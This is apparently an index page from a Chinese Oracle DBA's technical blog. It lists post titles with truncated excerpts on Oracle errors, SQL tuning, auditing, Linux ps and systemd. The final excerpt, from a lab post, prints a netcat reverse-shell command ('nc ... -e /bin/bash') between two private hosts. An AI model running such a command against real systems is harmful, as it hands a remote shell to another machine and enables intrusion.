[20230404]ORA-00132错误解决.txt
[20230404]ORA-00132错误解决.txt--//在自己的测试环境模拟看看.1.环境:SCOTT@book> @ ver1PORT_STRING VERS
[20230405]奇怪的显示输出宽度.txt
[20230405]奇怪的显示输出宽度.txt--//放假前遇到的问题,我想看看asm实例出现那些等待事件.SYS@my_asm> @verBANNER-------------------------------------------------------------------------------------------------------------------------
[20230403]学习UNIFIED audit--验证清理AUDSYS.AUD$UNIFIED.txt
[20230403]学习UNIFIED audit--验证清理AUDSYS.AUD$UNIFIED.txt--//前一阵子写了定期清理AUDSYS.AUD$UNIFIED的schedule.链接--//http://blog.itpub.net/267265/viewspace-2937975/=>[20230303]学习UNIFIED audit--定期清理AUDSYS.AUD$UNIFI
[20230329]利用bind_aware提示优化案例2.txt
[20230329]利用bind_aware提示优化案例2.txt--//跟别人聊天提到优化多个查询条件,使用use_concate时有一个分支总是全表扫描的问题.对方可以使用bind_aware提示优化.--//我上网查了一下,发现链接:http://www.dbi-services.com/index.php/blog/entry/generic-query-for-multicriteria
[20230329]记录调试sql语句遇到的问题.txt
[20230329]记录调试sql语句遇到的问题.txt--//调式sql语句遇到的问题,做一个记录.1.环境:SCOTT@book> @ver1PORT_STRING  
[20230327]19c sqlnet.ora disable_oob参数 ora-12637.txt
[20230327]19c sqlnet.ora disable_oob参数 ora-12637.txt--//前几天同事反映如果使用19c的客户端连接19c数据库会出现,出现ora_12637错误(在连接配置界面上).其它版本没有问题.--//我仔细问一下服务器版本19.12,客户端版本19.3.--//补充:同事测试修改有效!!$ oerr ora 1263712637, 00000, &qu
[20230323]ps命令查看thread.txt
[20230323]ps命令查看thread.txt--//前一段时间遇到的问题,ps -fp <pid> ,没有查询到对应进程,当时有点蒙.--//现在想想可能对应的是线程,不能通过这样的方式查询.应该加入-L参数.--//看了一些文档顺便学习相关内容.$ ps -o nlwp,pid,lwp,user,args -u grid | awk '$1>1 {
[20230323]sqlplus #.txt
[20230323]sqlplus #.txt--//缺省如果sqlplus前面加入# 并不是注解,可以通过执行如下命令关闭,set sqlprefix off1.环境:SCOTT@test01p> @ver1PORT_STRING &nb
[20230322]mount systemd.txt
[20230322]mount systemd.txt--//别人的系统每次重启机器发现本地的一个ISO映象文件总是mount 到/mnt/iso目录。而检查/etc/fstab文件这项mount并不存在。--//我记忆里好像看过systemdctl可以管理mount选项,这样/etc/fstab可以不存在。--//找到如下链接:https://www.thegeeksearch.com/how-
[20230323]连接asm实例无需UR=A测试.txt
[20230323]连接asm实例无需UR=A测试.txt--//有一些情况我无法登陆服务器,这样要连接asm实例就很麻烦.这样在知道asm的sys口令的情况下在连接串里面加入UR=A.--//听过在11g下可以不用加入UR=A就可以登录asm实例,测试看看.--//测试如下,服务上执行$ lsnrctl statusLSNRCTL for Linux: Version 11.2.0.4.0 -
[20230317]关于TIME_WAIT问题.txt
[20230317]关于TIME_WAIT问题.txt--//被别人问起这个问题,服务器的网络链接出现大量TIME_WAIT连接。实际上达到怎么样量才是最严重也没有标准。--//实际上如果不影响生产系统应用,可以完全不用理会。自己看了以前一些笔记,做一些总结,不知道对不对。--//互联网上能找到许多图,感觉很复杂。实际上主要记住一点仅仅主动方(也就是发起方主动退出才会在发起方出现TIME_WAIT
[20230320]Trim CPU.txt
[20230320]Trim CPU.txt--//参考连接:https://jonathanlewis.wordpress.com/2022/07/22/trim-cpu/--//仅仅重复我的测试结果。--//首先一点trim不要乱用,注意nls的格式可以导致不期望的结果。另外谓词尽量避免在查询字段使用函数。1.环境:SCOTT@test01p> @ver1PORT_STRING 
[20230320]oracle各种name参数.txt
[20230320]oracle各种name参数.txt--//如果讲oracle的各种name参数,很容易混乱,特别对于初学者.通过一个简单例子概括总结一下.--//主要集中在DB_NAME, DB_UNIQUE_NAME, SERVICE_NAMES, INSTANCE_NAME参数.--//首先oracle数据库一旦建立好,db_name就固定下来,不可以更改该参数,除非使用nid程序更改.
[20230319]19c paging fetch cost 测试.txt
[20230319]19c paging fetch cost 测试.txt--//无意中发现12c paging fetch cost问题,做一个记录,继续测试19c下的情况.1.环境:SYS@192.168.100.235:1521/orcl> @ pr==============================PORT_STRING &nb
[20230320]ORA-00855 PGA_AGGREGATE_TARGET cannot be set because of insufficient p
[20230320]ORA-00855 PGA_AGGREGATE_TARGET cannot be set because of insufficient physical memory.txt--//http://mvelikikh.blogspot.com/2023/03/ora-00855-pgaaggregatetarget-cannot-be.html链接说明在启动数据库后设置--//
[20230319]12c paging fetch cost bug.txt
[20230319]12c paging fetch cost bug.txt--//无意中发现12c paging fetch cost问题,做一个记录:1.环境:SCOTT@test01p> @ver1PORT_STRING  
[20230317]12c Temporary Tables and RedoUndo.txt
[20230317]12c Temporary Tables and RedoUndo.txt--//12c加入了temp_undo_enabled 参数,可以把临时表的产生的undo放在临时表空间.缺省设置是false.--//最近探究一套生产系统产生redo很大的问题,我突然想起来12c以后加入了temp_undo_enabled 参数,--//如果临时表上的数据记录多次发生dml,产生的记录
[20230314]nc reverse bash shell alias.txt
[20230314]nc reverse bash shell alias.txt--//前几天测试,nc reverse bash shell时使用alias时遇到的问题,分析看看.1.环境:192.168.100.78 linux (Oracle Linux Server release 5.9)192.168.98.6
[20230308]12c以上版本模糊查询问题.txt
[20230308]12c以上版本模糊查询问题.txt--//前几天看了链接http://www.itpub.net/thread-2148700-1-1.html,对方提到模糊查询慢的问题,实际上这个问题使用常规模式基本--//无解,仅仅使用全文本检索,当然对方解析也很慢我就不知道为什么了。--//不过我突然想起我去年看https://jonathanlewis.wordpress.com/20
[20230310]nc reverse bash shell问题.txt
[20230310]nc reverse bash shell问题.txt--//测试nc reverse bash shell遇到的问题,补充说明一下:--//192.168.100.78 linux$ nc -l 1234--//192.168.100.235 linux$ nc 192.168.100.78 1234 -e '/bin/bash -